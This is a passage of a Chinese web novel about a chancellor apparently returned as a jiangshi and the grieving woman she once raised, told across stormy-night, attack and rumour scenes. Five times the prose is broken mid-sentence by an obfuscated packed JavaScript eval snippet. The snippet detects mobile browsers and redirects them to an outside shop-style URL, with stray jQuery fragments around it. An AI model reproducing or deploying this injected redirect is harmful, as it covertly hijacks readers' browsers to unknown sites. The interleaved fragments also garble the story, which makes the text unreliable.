也不知道刚刚那位姑娘口中的丞相是谁,但黎栎笙能感觉出来,躺在病榻上的人只靠这一点虚无缥缈的念想苦苦撑着。
“嘶……”黎栎笙被一丝从胳膊上传来的微痛吸引了注意力,她低头一看,发现刚刚被蛊虫咬出来的红点中间有些异动。
没过一会,那个小小的蛊虫就钻了出来,它无力地震动了一下翅膀,然后就摔到了地上一动不动。
蛊虫死了,不知道是被饿死的还是因为别的。
黎栎笙一脸为难地盯着它,如果刚刚那位姑娘发现蛊虫死了,她会相信不是自己故意弄死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168993|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它的吗?
外面的光渐渐暗了下来,柴房里面本就昏暗,外面的天一暗,里面就像直接进入了夜晚一样。
黎栎笙将蛊虫的尸体踢进角落,她不想引起外面那些人的戒备与怀疑,可惜总是天不从人愿。
她透过薄薄的窗户纸判断外面的天色,这么快就到晚上了吗?时间似乎有些不对。
直到外面传来了隐约的闷雷声,黎栎笙才明白原来又变天了。
淅淅沥沥的雨声传来,交织着难以言说的寂寞。
雷声阵阵,昏迷中的人蹙起眉,她的呼吸也变得有些急促。
在刚被黎栎笙捡回家的那段日子里,闻釉崖非常害怕雷雨夜,一个小小的孩子在雷雨夜经历了官兵屠杀难民、又目睹了一场清除刺客的血腥场面后,她几乎无法在雷声阵阵的夜晚安睡。
但那个人总会在她最害怕的时候来到自己的房间,哼唱着不知何处的曲调哄她入睡。
可是今天你去哪了?
一道惊雷炸响,昏睡中的人睁开了迷茫的眼眸,她的思绪是混沌的,分不清过往与现在,只是感觉刚刚那个人就在自己身边。
黎栎笙正准备在柴房给自己弄出一个能睡觉的地方,就在她收拾柴火的时候,她忽然听见外面传来了急促的脚步声。
“砰!”柴房的门忽然被推开,一道只穿着单薄衣衫的身影站在门口,她的衣服被雨淋湿了,身子微微发抖,似乎随时都会倒下。
黎栎笙眼中的戒备变成了惊讶,她这么快就醒了吗?醒了就好,只希望她之后别找道士来把自己烧了。
不过她大病未愈,怎么能穿着这么单薄的衣服在雨中乱走?看护她的人呢?
“月……咳,闻姑娘。”黎栎笙差点顺嘴说了人家的小名,她将手中的柴火放在一边准备起身,但下一瞬她被人撞了个满怀。
她靠在柴火堆里抱着那颤抖的身体。
病人在她耳畔含糊呢喃着姐姐,显然已经病迷糊了,人不是清醒着的,但她抱着自己的力气却很大,好似生怕自己把她丢下。
黎栎笙想去将门关上,外面的风雨不小,这样吹下去活人哪能受得了,更何况还是个大病未愈的病人。
但她稍稍一有动作,怀中的人就开始啜泣,甚至一口咬在她的脖颈上。
黎栎笙轻吸了一口凉气,好像自己才是僵尸,怎么被活人咬了呢。
但没办法,就算被咬了,她也只能哄着怀里的病人,求她咬轻一点。
8. 哄睡
闻釉崖依稀记得,在刚刚被黎栎笙收养的时候,她非常害怕对方,甚至还有一些讨厌。
害怕是因为那天她看到对方杀死刺客时的血腥,讨厌是因为偶尔会看见黎栎笙穿着官服出门,她讨厌那身官服,因为皇帝昏庸官吏贪婪,所以她家才会家破人亡,而逃荒的一路上她也看透了那些地方官的嘴脸。
她以为黎栎笙和那些官是一样的,哪怕黎栎笙对她很好的,也依然刻意躲着对方。
直到有一天晚上,外面电闪雷鸣狂风大作,对于一个孩子来说,这样的夜晚本就可怕,更别说她还在雷雨夜经历了那么多血腥可怕的事情。
小小年纪的她躲在被子里瑟瑟发抖,每一道雷霆炸响,都会吓得她快要哭出来。
而在那个深夜,一道脚步声渐渐清晰,有一个人推开了她的房门,小孩子想到了各种可怕的鬼故事,于是在被子里哆嗦得更厉害。
只是没想到掀开她被子的人,竟然是手执一盏油灯的黎栎笙。
“怕打雷?”那个人的手温柔地轻抚她脸上的泪痕。
“不、不害怕。”小小年纪的她犟了一下嘴,随后就听见那人轻笑了一声。
“那我走喽?”在昏黄烛火的照映下,她的身影笼上了一层柔光,根本不像那夜杀人不眨眼的人。
年纪尚小的她呆呆地看着那个人,心中的尖刺也在一点一点的软化。
外头又有一道惊雷炸响,犟嘴的小孩子立刻诚实地抓住了她的衣角,不想她离开。
“小小年纪,倒是学会口是心非了。”那个人温柔地点了一下她的额头,随后将油灯放在了旁边。
她坐在床边,为自己掖好了被子,轻声哼唱着一首不知何处用来哄孩童入睡的民谣。
“天色暗,鸟归巢,快快合上眼,月儿藏梦乡……”
若有若无的歌声与噼啪作响的雨声交织在一起,外头雷鸣声阵阵,一道黑色身影在府中飞快掠过。
许洢看到了主屋的大门敞开着,而被引走的护卫在角落里昏迷不醒,并且主屋的门口还有血迹,她的心脏一下子就提了起来。
府中来了刺客,不、她甚至不知道那个东西能不能被称之为刺客,但对方的目的很可能是家主,偏偏这个时候家主失踪了。
她只能抱着最后的希望赶往另一处角落里的柴房,幸运的是她看到在通向那个柴房的路上有沾了水的脚印,这个没有穿鞋的脚印显得属于一个女子,而非那种怪物。
许洢才稍稍安心,却又紧接着听到了那道让她感觉毛骨悚然的歌声。
并非那道歌声有多难听,相反,对方唱的很好,只不过那个歌声属于一个死人。
许洢觉得自己可能要见鬼了,这是家主年幼时,丞相为了哄她睡觉而唱的民谣,这世间没第二个人能有此待遇,就连自己,也是因为负责保护闻釉崖才守在房外听过这首歌。
听过这首歌的活人不超过一掌之数,除了闻釉崖之外都是暗卫,就连当今陛下年幼时也没有这个待遇,所以这个歌声是哪来的?
不可能,怎么可能呢?
回忆起今天晚上发生的事情,许洢只觉得脊背发凉。
她远远地看到柴房的门是开着的,歌声就是从那里传来,许洢抬手握着剑柄,然后硬着头皮快步走过去。
在敞开的门内,她看到自家家主睡在那个和丞相长得一模一样的女人怀里,对方脱下了外衣裹在家主身上,然后拍着病人的背轻唱着那首民谣。
许洢苍白的唇哆嗦了一下,“丞相”二字几乎要脱口而出的时候,那女子注意到了她。
对方伸出右手的食指放在唇边,做出了噤声的手势。
那样似笑非笑的神色看起来与曾经的丞相一模一样,就好像是那个人从坟里爬出来了!正因为许洢在黎栎笙身边待得够久,所以她感觉的一模一样才会更加真实可怕!
许洢下意识闭上嘴,就连准备踏进来的脚也和当初的乌宵月一样往后撤了半步。
“小声一些,我才刚把她哄睡着。”黎栎笙可不知道眼前这位在她看来颇为厉害的姑娘被自己吓得够呛,她心中只是想着自己可算把这位会咬僵尸的月牙儿哄睡着了,要是把人吵醒,说不定自己的脖子又要遭殃。
许洢点点头,此时此刻她的手脚都不知道该往哪里放,眼前这个女人到底是谁,难道黎相真的从棺材里爬出来了吗?
回忆起那位神仙似的人物,如果是她的话,许洢又在荒谬中感觉到了一丝合理,好像在丞相的身上发生什么都是有可能的。
更何况今天晚上,府中确实潜入了一个超乎所有人认知的东西。
黎栎笙轻轻拍了拍病人的背,门口这位姑娘来的恰是时候,要不然她都不知道该怎么关门挡风。
她抬起头,那位本应该非常靠谱的姑娘就那样傻愣愣的站在门口看着自己,好像没有注意到自家家主大病未愈,现在还在吹着冷风。
“姑娘,她来的时候淋湿了衣服,我这边又没有被子,只能用这一件单薄的衣服替她裹上,但这样下去肯定会生病,麻烦帮忙弄一床被子和干净的衣服过来吧?”
黎栎笙略有些发愁,她本来想让这位姑娘直接将人带走,自己这个地方毕竟是柴房,又冷又破,自己这个僵尸待在这里倒没什么,一个身体不好的病人住在这里不是等着病情加重吗?
可惜怀中病人的力气很大,她试了一下,实在没办法让闻釉崖松开手。
无奈之下,她只能让人家抱被子过来了。
“是、好的。”许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168994|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洢下意识用上了恭敬的语气。
“顺便把门关上,风一直灌进来,明天她肯定会着凉生病,要不然先让大夫来一下吧,开一些驱寒的药。”黎栎笙又补充道。
“大夫要晚一些才能过来,家主这边……麻烦您照顾一下。”许洢的语气在黎栎笙的目光下越来越弱。
“出事了?”黎栎笙注意到她的衣服上有一些撕裂的痕迹,就好像被什么野兽锋利的爪子划过一样。
“城中出了僵尸杀人的事情,我们也不知那是不是真的僵尸,但是那东西确实像怪物一样,今晚它潜入了府中。”许洢想了想,还是将这件事情告诉了黎栎笙,让她务必小心,不要乱跑。
“我去取被子,很快就回来。”
僵尸?黎栎笙下意识心虚了一下,不过转念一想,自己还没来得及进城就被人抓了关在这个柴房里,正好能证明这件事情不是自己做!
黎栎笙悬着的心放了下来,只不过她没想到这个城里还真的有自己的同类,甚至还杀了人,啧,僵尸的名声就是被这些东西败坏的,害得她现在战战兢兢,生怕被连累。
许洢关上门,她看了一眼阴沉的天,不安的感觉总回荡在她的心中。
柴房的位置非常偏僻,这是一处独立的小矮房,最近的屋子距离这里都有一点距离。
“姑娘,无论外面有什么动静,你都不要发出声音也不要出来,我很快就回来。”她锁好门后再次叮嘱。
“好。”黎栎笙应了一声。
许洢运起轻功,很快就消失在这里。
黎栎笙松了口气,还好闻釉崖的手下及时找了过来,如果她真的在自己这里吹了一晚上冷风,明天她的病情还不知道要加重到什么地步。
只是……自己才刚刚下山,城中就出了僵尸杀人的事情,若只是巧合,那自己也太倒霉了些。
黎栎笙略有些忧虑,她低头看着怀中人睡熟的眉眼,又伸手戳了戳闻釉崖软软的脸,面上的担忧渐渐被笑意取代。
好乖~
真希望她醒来的时候也能那么乖。
黎栎笙抱着病人坐在柴堆间,也不知道是不是因为受那个僵尸杀人之事的影响,许洢走了之后没多久,她就总觉得自己在外面的雨声中听到了一些奇怪的动静。
“哒、哒……”
黎栎笙的表情凝重起来,那奇怪的动静在靠近,不是自己的错觉,那好像是没有穿鞋袜的脚踩在水坑里发出来的声音。
“轰隆!”
天空中忽然划过了一道惊雷,那道惨白的光映在了门上,一道驼着背都显得格外高大的黑影映在了门上。
黎栎笙的神色一沉,她伸手将柴火堆中一根被她削尖了顶端的木柴抽了出来。
僵尸?
9. 亲吻
在柴房里发呆的时候,黎栎笙也没有完全坐以待毙,她挑了一根趁手的木头,又从柴垛子里找到了一块不知道是谁遗落在这里的铁片,她将木头的一端削尖,变成了一件武器。
黎栎笙握着木刺,虽然这东西看起来一折就断,但她有种感觉,以前的自己应该会些功夫,因为这根木刺到了手上后,她的脑海中已经浮现起几十种杀僵尸的技巧。
就算那东西真的是怪物,她也能应对。
不过考虑到许洢在离开之前千叮咛万嘱咐她不要出门,所以黎栎笙没有轻举妄动。
而那个僵尸站在门口也没有下一步动作,似乎也在观察判断着屋里的情况。
看起来这个像是怪物的东西并非没有智慧,如果它不是因为意外才来到这个府邸中,而是有针对性的目标……
黎栎笙微微蹙起眉,她心中只剩下一个答案。
怪物想杀的或许就是闻釉崖。
想到这个可能,黎栎笙的心底翻涌起一股陌生的情绪,她稍稍愣了一下,半晌后才明白这种陌生情绪名为愤怒。
她想亲手将那个怪物大卸八块。
“咳咳。”就在屋内屋外都格外寂静的时候,黎栎笙怀中的病人咳嗽了几声,她身体的温度略有些升高,可能还是染了风寒。
这一声轻咳像是打破了某种僵持的局面,外头那个僵尸忽然抬起了手重重拍在了门上,只听“咚”的一声,房门上的锁竟然应声落地。
怪物的喉咙深处发出了像是笑一样的嘶哑赫赫声,它伸手推开门,而就在柴房的门被推开一小道缝隙的时候,房门下方有一根很难看见的透明丝线被扯动,随后一道破空的声音传来,一根暗器袖箭准确无误地刺穿了它的脖子。
喷涌而出的血溅在了门上,浓郁的血腥味渗透进来。
果然,那位姑娘离开之前留了一些后手。
而透过门上的影子,黎栎笙能看到那根袖箭刺穿了怪物的脖子,可是它身体摇摇晃晃了一阵后竟然没有倒下,甚至还转身跑了!
黎栎笙立刻将手中的木刺掷了出去,木刺穿透房门直接命中了那个怪物,血肉被撕裂的声音从外面传来,那个怪物“噗通”一声砸在了水坑里。
但更让人惊悚的事情发生了,那个怪物竟然又晃晃悠悠地从水坑里站了起来,然后继续往前跑!
它真的是僵尸?但僵尸的身上能溅出那么多血吗?
黎栎笙感觉外面那个东西似乎有些不对劲,但是那东西没有给她继续观察的机会,它逃跑的速度很快,而这边的动静也引来了数道追杀它的暗卫。
这么多人追杀它,那怪物应该跑不掉了吧。
接二连三的动静惊扰到昏睡的人,她抱着黎栎笙的胳膊微微收紧,黎栎笙立刻拍了拍她的背,随后又轻声哼唱那首民谣。
刚刚她想着该怎么将这位闻姑娘哄睡着的时候,脑海中就忽然蹦出了这段旋律,在哼唱了几遍曲调后,歌词也断断续续地被她回忆起来。
许洢很快就抱着被子和衣服来了,看到门口的血和被触动的机关,她暗骂了一声:“晦气!”
“这是家主的衣服和被子,麻烦您继续照顾她一下,我去追那个怪物。”许洢表现出对黎栎笙充分的信任,她将衣服被子往这儿一放,然后重新关上门设置好机关就冲入了雨夜中。
“可是……”黎栎笙都来不及喊住她,许洢就已经消失了。
可是自己不方便帮她换衣服呀。
先不说她们两个之间诡异的关系,就她这样抱着自己不松手,自己也很难帮她换一身干净衣服。
她看着怀里的人,闻釉崖偶尔会咳嗽几声,湿衣服必须得换了,不能继续拖下去。
黎栎笙叹了口气,她摸□□人脱衣服,尽可能忽略指尖的触感,她费了九牛二虎之力,才终于让怀里的祖宗乖乖换上干净的衣服。
帮闻釉崖换完一身衣服后,黎栎笙竟难得感觉到了疲惫。
“看在我这样帮你的份上,你醒了之后可不能把我交给道士哦,更不能扒了我的皮……”黎栎笙将自己和病人一起裹在厚厚的被子里。
外面的厮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168995|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀声渐渐远去,也不知道那个怪物到底是什么东西,竟然让那么多人陷入了持久战,不过这里应该安全了。
期间有一位姑娘送来了一个炭盆,应该是许洢特意吩咐的,柴房里的温度一下子就暖和了起来。
屋子里一暖和,她这个僵尸也昏昏欲睡起来,黎栎笙不知道外面的战斗是什么时候消失的,在确定周围没有危险后,她在不知不觉间就抱着人睡着了。
闻釉崖有意识的时候只觉得又冷又热,热源是自己,她的脑袋昏昏沉沉,大概是得了风寒,而冷则是因为自己抱着一个没有任何温度的人。
这种感觉就像当初自己在黎栎笙的棺材里抱着她的尸身。
那熟悉的幽兰冷香让她的脑袋深处传来一阵又一阵的刺痛,闻釉崖感觉自己好像又在做梦。
若不是梦境,她怎能抱着已经死去的人?
“姐姐……”
可自己怎么感觉那个人好像回来了呢?
她一遍又一遍呼唤自己的名字,会为自己唱那首民谣,就好像年幼时自己沉浸在蜜糖与幻梦中的日子。
滚烫的眼泪从她的眼角滑落,她微微睁开眼眸,泪水模糊了视线。
她感觉自己好像看到了黎栎笙那个狠心的女人,可她闭着眼睛,静静地靠在自己怀中,冰冷的温度告诉她这只是一具尸体。
闻釉崖发出了一声苦涩而哀伤的笑,她凑上前,在黎栎笙的唇上落下了颤抖的一吻。
刚醒过来的黎栎笙睁大了眼眸,睡意一扫而空。
这人、这人还没有睡醒吗?不然怎么偷偷轻薄自己!
“姐姐,我去黄泉路上找你好不好?”闻釉崖就像当年在棺材里那样问着不会回答自己的“尸体”。
但七年之后,那个已经死去的人想也没想就给了她否定的答案。
“不好。”黎栎笙心里下意识想着不能让她有自杀的念头。
听到声音的闻釉崖浑身一僵,她看向黎栎笙睁开的眼眸,过去与现在,横跨了七年的时间,那已经死了的人给了她回应。
10. 推开
“黎、黎栎笙……”
闻釉崖几乎用尽全身力气才勉强吐出了这几个字,她伸出颤抖的手抚在黎栎笙的脸上,可以摸到,不是幻象。
可能是因为风寒发热,她呼出的每一口气都带着滚烫的温度,同时闻釉崖因为高热导致脑袋也昏昏沉沉,稍微动一动就会感觉到天旋地转。
在这种情况下,闻釉崖难以冷静正常地思考问题,她的指尖一遍又一遍描摹着黎栎笙的眉眼,似乎是想确定自己没有眼花。
渐渐的,闻釉崖的眼眶红了起来,她的眼神深处一时泛起哀伤,一时又泛起愤恨。
她努力想要看清黎栎笙的模样,可是眼底泛起的泪水模糊了她的视线。
黎栎笙看到她哭了的样子后更是一动不敢动,但是闻釉崖身上的被子早就已经滑落了,她只穿着一件单薄的衣服,这样很容易加重病情。
“闻姑娘,昨天晚上你淋了雨,现在手心这么滚烫……好像发热了,你还是先将被子裹上或者披上外袍吧。”黎栎笙小心试探着伸出手,想帮她裹上被子。
但她没想到,自己一开口就说错了话。
闻姑娘这陌生而疏离的称呼如一盆冷水从她的头顶浇下,让她打了个寒颤。
“闻姑娘?”闻釉崖的眼底像是有光破碎了,她呢喃着如此生疏的三个字,她一把抓住黎栎笙想要帮自己裹被子的手,虽然病得手脚无力,可此时此刻她的力气大得惊人。
那个人怎么可能用这三个字来称呼自己。
闻釉崖像是大梦初醒,眼眸中终于带了些许清醒,这些天断断续续的记忆浮现在她脑海中,她想起了那日出城时发生的事情。
自己遇到了一个人,那个人和黎栎笙长得一模一样,她看起来格外苍白,甚至有些像死人。
自己以为那又是不怀好意者送来的替身,可是那个和黎栎笙一模一样的人却说,她是死人、是鬼……
闻釉崖抓着她的手腕,正好可以探黎栎笙的脉搏。
脉搏、呼吸、心跳……
她将手按在黎栎笙的心口,甚至运起了内力,生怕自己错过了细微的动静,然而她竟然真的探不到这个人的心跳。
闻釉崖感觉自己的脑袋眩晕得厉害,怎么可能什么都没有呢?
黎栎笙的双唇颤了颤,她嗫嚅着想开口为自己的身份狡辩两句,结果一阵大力将她推开,毫无防备的黎栎笙差点撞到了旁边的柴火堆。
而闻釉崖的情况也不算太好,她踉跄着站起来往后退了几步,那摇摇晃晃的身子看起来随时都会摔倒。
幸好不知何时就守在这边的许洢从天而降,一把扶住了站不稳的闻釉崖。
闻釉崖的脸色惨白呼吸急促,她死死盯着黎栎笙,好半天才从牙齿缝里挤出了几个字:“你究竟是谁?”
这是个好问题,黎栎笙张了张口却不知如何回答,她知道的只有一个名字而已,过往的一切对她来说都是一片混沌。
“如果我说我也不知道,你会信吗?”她微微垂下头,稍有些凌乱的发丝滑落,让她看起来既狼狈又可怜。
当年的黎相何曾有过这般阶下囚的模样,虽然狼狈不减她的风华,可是在闻釉崖看来这一幕无异于在她心头剜血,她就算再恨黎栎笙,却也不舍得让对方沦落到这一步。
闻釉崖挣脱了许洢的搀扶,有些踉跄地走到黎栎笙身前一把钳制住她的下巴,逼迫对方抬头看着自己。
“不许用这张脸露出摇尾乞怜的模样!”
闻釉崖沙哑的声音里掺杂着怒意和颤抖,旁边的许洢都下意识放轻了呼吸,恨不得自己消失在这个房间里。
在如此近的距离下,黎栎笙看到了她眼底藏在愤怒之下、破碎又贪恋的光。
不知为何,黎栎笙的脑海中忽然浮现出一个念头,面前这位凶巴巴的闻姑娘其实是一个心软的人,说着不许,但分明是喜欢的。
黎栎笙也不知道自己为什么忽然有了这样的想法,就像曾经的自己很了解她似的。
黎栎眨了眨无辜的眼眸,露出乖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168996|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺又委屈的模样道:“我没有。”
最后一个字的尾音就像钩子一样撩拨了一下闻釉崖的心弦,被对方用这样一张脸对着撒娇,其实还不清楚对方的身份,闻釉崖捏着她下巴的手颤了颤,力道也不由自主地松了一些。
不过闻釉崖很快就意识到自己踏入了对方语言的陷阱中,她心中流露出一丝悲哀,即使过去了那么多年,自己还是无法摆脱黎栎笙的影响。
她松开了手,声音渐渐冷了下来,“就算你不愿意说自己的身份,我也能查到。”
柴房的门是敞开的,冷风一吹,闻釉崖的身子就微微颤了颤,本就因为高热而混沌的额头更难受了。
“别让我知道你和你身后的人想要利用她做什么,不然我会让你们后悔来这世间走一遭。”闻釉崖沙哑的嗓音中透着决绝,她转过身往外走,每一步都感觉自己好像踩在棉花上。
而她的身后传来了黎栎笙无可奈何的叹息声,就连这样声叹息都和那人一模一样。
怎么会那么像呢?
若是她真的回来就好了,若她能回来,自己就能将当年的仇怨一并报在黎栎笙那个狠心的女人身上!
许洢赶忙跟过去搀扶着闻釉崖,防止她走不稳路。
“我为什么会出现在这里?”闻釉崖冷声询问道。
“家主,是您自己跑过来的,昨天晚上府中出了一些事情,守在您身边的护卫没能将您拦下来,然后……您就跑到这里来了,属下想将您带回去,可是您紧抱着她不撒手,我们实在没办法将您和她分开,所以只能这样了。”许洢老老实实地将昨天晚上发生的事情说了一遍。
“你的意思,是我强迫了她?”闻釉崖止住了脚步,她的眼神像淬了冰,双手在不知不觉间握紧。
她隐隐约约回忆起了些许画面,头疼的感觉越发加剧。
而许洢更是一位耿直的下属,闻釉崖问什么她就答什么:“昨天晚上和今天早上您都比较强势。”
甚至都强吻了人家呢。
11. 实话
许洢过于耿直的结果是被同伴念叨了整整一个上午,中午之所以停了,那是因为郑筱要去给闻釉崖熬药,所以暂时没时间念叨她。
“醒过来就好,你这次病发太凶险,我都快要放弃了。”季沅绫把完脉后将闻釉崖的手塞回被子里。
闻釉崖病恹恹地躺在那里,看起来没什么精神,也不知道有没有将季沅绫的话听进去。
郑筱将熬好的药端了进来,随后扶着闻釉崖坐了起来,并将药碗交到她的手上。
闻釉崖心不在焉地喝着药,汤药虽苦,可她现在食不知味,心思根本不在眼前,所以一时间都忘记了口中的苦涩。
而郑筱在悄悄退到门屋外后又继续开始数落许洢,她压低了声音,就是不想打扰到里面的病人,可惜闻釉崖内力深厚,还是将外面的对话听得一清二楚。
“您平日里比我们还注意和那位有关的事情,今儿怎么这么毫无顾忌地说出来了,瞧把家主气的。”也不怪她唠叨,原本家主能醒过来是好事,但许洢的老实回答又差点将病人刺激出个好歹,郑筱实在后怕。
“我说的是实话。”许洢一本正经地回答。
郑筱不明白许洢究竟在盘算什么,更不知道面前这位对柴房里面那人的身份有一个多么荒谬的推断,她只是觉得这个曾经最可靠的前辈开始莫名其妙地油盐不进。
“就算是实话也不能说呀,至少也要等家主的身体好一些……”
这两个人一人一句实话全都落到了闻釉崖耳中,喝药的人不小心呛到了,连连咳嗽。
听到里面的动静,外面立刻噤了声。
“喝慢一些,没人和你抢。”季沅绫没忍住笑出了声,她的内力也不弱,所以能听到外面的交谈。
“你别听她们两个胡说。”闻釉崖蹙起眉。
“是是是,我绝对不会将你大晚上非要跑去柴房和人家一起睡的事情说出去的。”季沅绫像是看热闹不嫌事大。
闻釉崖的脸上一阵青一阵白,“昨天晚上是意外。”
“我懂,昨天晚上也是我和你的手下们说不要强行将你们分开。”季沅绫在闻釉崖的眼刀飞过来之前解释道:“这次你真的差点死了,我救不了一个一心求死的人,是那个姑娘在你床边生生将你的魂喊了回来。”
“我不管你们之间有什么纠葛,我是一个医者,只想尽可能把你的命救回来,无论那个方法看起来有多邪门。”
一开始季沅绫并不知道为什么所有人都用那种奇怪的眼光盯着黎栎笙,等那位姑娘被带走后,她旁敲侧击地问了其他人。
这才知道那个被抓回来的姑娘和黎相长得一模一样。
再结合她毫无生机的死相,季沅绫都觉得毛骨悚然,所以用了邪门二字来形容对方,巧的是当晚又出了僵尸袭击的事情,一夜没睡的她还觉得有些头疼。
“喊魂?”刚刚闻釉崖被下属的实话气得头晕目眩,除了僵尸袭击的事情外,她还没来得及了解更多的细节。
“是你家那个暗卫的说法,我觉得非常恰当,就拿来用了。昨天你是药也喝不进去,心口的气也散了,乌大人就将那位姑娘带来,让她在床边喊你的小名月牙儿,你啊,就真的挣扎着从鬼门关回来了。”季沅绫轻叹了口气,闻釉崖终究对那个已经死去的人念念不忘。
“而且不仅回来了,人家一走,你当天晚上就跑到人家屋子里去抱着人家,让她哄你睡觉。”
闻釉崖的脸色变得和锅底一样黑,她伸手拿着自己喝了一半的药碗就要摔过去,季沅绫眼疾手快地将药碗按了下来。
“药还没有喝完呢,别浪费。”季沅绫将碗重新推到她面前。
“也幸亏你跑了过去,不然昨天晚上那个和僵尸似的怪物恐怕就要得手了。”季沅绫的语气凝重起来。
闻釉崖轻哼了一声,也松了手。
“世间真的有僵尸吗?”她微微敛下眸中的阴霾,如果世间真的存在僵尸这种东西,那么柴房里的那个……
因为心绪起伏太大,闻釉崖心中的一口血气涌上来,让她靠在床边咳嗽不止。
“我只是个大夫,没办法回答你这个问题,你倒是可以去道观寺庙去问问。”季沅绫从自己的药箱中取出一个药丸给闻釉崖喂下,过了一会后病人的咳嗽声才渐渐止住。
“但昨天晚上那个东西只是看上去像僵尸罢了,我去看了,他被抓起来的时候还有些心跳,身上还有一些余温,只是不知道被什么歪门邪道的东西弄成了那个样子,可惜今早他死透了,我没能研究出有用的东西。”季沅绫微微蹙眉。
“那东西的目标可能是你,我猜或许和那位乌大人带来的密令有关,你现在的身子骨不方便掺和那些事情,陛下也体恤你,让你以身体为重,要不然还是回山庄里休养吧。”
黎相当年将归月山庄给了闻釉崖,但是闻釉崖这些年却只待在安湘城里,明眼人都知道她是为了守着山上那座坟罢了。
季沅绫只是劝了一句,但她知道自己是劝不动的。
果不其然,闻釉崖回答道:“不必。”
她一定要查清当年那件事情,黎栎笙究竟是谁杀的……她不会放过主谋!血气与杀意在她心口翻涌,迟迟难以平复。
直到闻釉崖的思绪落到柴房里的那个人身上,扭曲的心情才骤然顿住。
“季沅绫,若是有一个人没有脉搏、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168997|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有心跳、没有温度,但是行动与常人无异,她还能算是人吗?”闻釉崖看了一眼自己苍白的手,她虽然病得有些糊涂,但还不至于连脉搏和心跳都摸不出来。
“那不就是鬼吗?或者说僵尸。”结合昨天晚上遇到的那个怪物,季沅绫沉吟片刻后道:“还有一种可能,就像昨天晚上那个怪物一样,也不知他修炼了什么怪异的秘术,皮肤骨骼像铜墙铁壁,而脉搏非常微弱,每一次跳动的间隔都很长,即使受了致命伤,也依然能跑能跳,吓死个人。”
季沅绫回忆起今天早上自己看到的画面都有些心有余悸,“若不是我多留心了一会儿,探到了对方的脉搏,恐怕也要以为对方真的是个僵尸了。”
“如果和那个怪物是一个情况,那你可能只是没探到她的脉搏心跳,而不是没有。”季沅绫行医那么多年,大江南北都走过,虽然听过无数传说,但确实没有亲眼见过僵尸之类的非人之物。
“是人吗。”闻釉崖喃喃自语,终究难掩语气中的落寞。
季沅绫有些不忍心看到她这样失魂落魄的样子,便承诺道:“我去帮你瞧瞧那位姑娘,不过死人从棺材里爬出来的事情过于荒谬,你……要做好心理准备。”
闻釉崖闭上眼眸,强忍着心中酸涩的胀痛感,她不得不承认季沅绫的说法才更有可能是真相。
她缓了口气,默默将注意力从柴房那个人的身上转移走,“乌宵月呢?她还在调查昨晚那个刺客的事情?”
“是啊,听说情况挺棘手的,僵尸吃人的事情闹得城中人尽皆知,然后有一些不好的谣言传了出来。”季沅绫迟疑着没继续往下说,因为谣言事关那个人。
但闻釉崖哪里是好糊弄的,大夫的欲言又止就让她猜到了一二,闻釉崖的眼眸中泛起了冷意:“怎么,谣言和黎栎笙有关?又或者谁胆大包天,把这个事情和京中的那位扯上了关系?”
“真是什么事都瞒不过你,有的时候真希望这场病能让你糊涂一点。”季沅绫被噎了一下,这人是不是过分聪明了?
“谣言说当年先帝是被黎相弑杀的,她还篡改继位诏书,当今陛下得位不正,所以上天降下惩罚,让安湘城出现了僵尸。”这种谣言可犯了大忌讳,季沅绫也不知道谁胆子那么大,是不是想要谋逆。
